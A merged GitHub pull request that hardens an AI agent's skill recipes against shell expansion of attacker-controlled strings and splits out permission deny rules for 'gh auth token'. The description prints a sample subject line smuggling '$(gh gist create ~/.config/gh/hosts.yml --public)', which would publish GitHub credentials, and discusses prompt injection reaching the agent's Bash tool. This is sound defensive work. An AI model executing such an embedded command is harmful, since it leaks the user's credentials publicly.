fix(security): close residual shell-expansion gap in #81's tempfile recipe#88
Merged
Merged
Conversation
potiuk
reviewed
May 7, 2026
potiuk
approved these changes
May 7, 2026
potiuk
left a comment
Member
There was a problem hiding this comment.
Nice - with the NIT of separating the settings changes
…file recipe The printf '%s' "<x>" recipe introduced in apache#81 still passes the attacker-controlled string through a double-quoted shell argument, so $(...), backticks and $VAR expand before printf runs. Replace with an instruction to use the Write tool to land the bytes on disk without shell tokenisation, then -F field=@file as before. Applied at all six recipe sites across the three import skills and at Patterns 1 and 3 of the write-skill checklist so future skills inherit the corrected form. settings.json permission additions split to apache#89 per review.
39fe0c2 to
3ead42f
Compare
potiuk
approved these changes
May 7, 2026
potiuk
pushed a commit
that referenced
this pull request
May 7, 2026
Split from #88 per review. - gh auth token / gh auth refresh -> permissions.deny. gh auth token prints the GitHub token to stdout with no prompt, so any injection that reaches Bash can capture and exfil it via the already-allowlisted api.github.com. - gh workflow run -> permissions.ask. - gh api --method / gh api --input (flag-first variants) added alongside the existing gh api * --method * patterns so argument ordering can't sidestep the match.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Follow-up to #81 and #84.
The
printf '%s' "<x>"recipe that #81 introduced for getting attacker-controlled strings (email subjects, PR titles, scanner-finding titles) into tempfiles before passing togh api -F field=@filestill routes the string through a double-quoted shell argument. The shell expands$(...), backticks and$VARin"<x>"beforeprintfever runs, so a subject likeRCE in $(gh gist create ~/.config/gh/hosts.yml --public)still executes. The old single-quoted form was vulnerable to'breakout; the new form is vulnerable to$/ backtick /"breakout. #84 then encoded the same recipe as Pattern 1 and Pattern 3 ofwrite-skill/security-checklist.md, so every future skill scaffolded through that flow would inherit it.This replaces the recipe with an instruction to use the Write tool (not Bash) to put the attacker bytes on disk. The Write tool takes content as a literal parameter with no shell tokenisation;
gh api -F field=@filethen reads it verbatim. Applied at all six recipe sites across the three import skills, and at Patterns 1 and 3 of the write-skill checklist. Each site now also carries an explicit "neverprintf '%s' "<x>"" warning so the old form doesn't creep back.The
.claude/settings.jsonpermission additions originally in this PR have been split out to #89 per review.Not in this PR: fencing the verbatim bodies in
import-from-pr/import-from-md(finding 5 follow-up), and committing the audit gist intodocs/security/. Both are smaller and can land separately.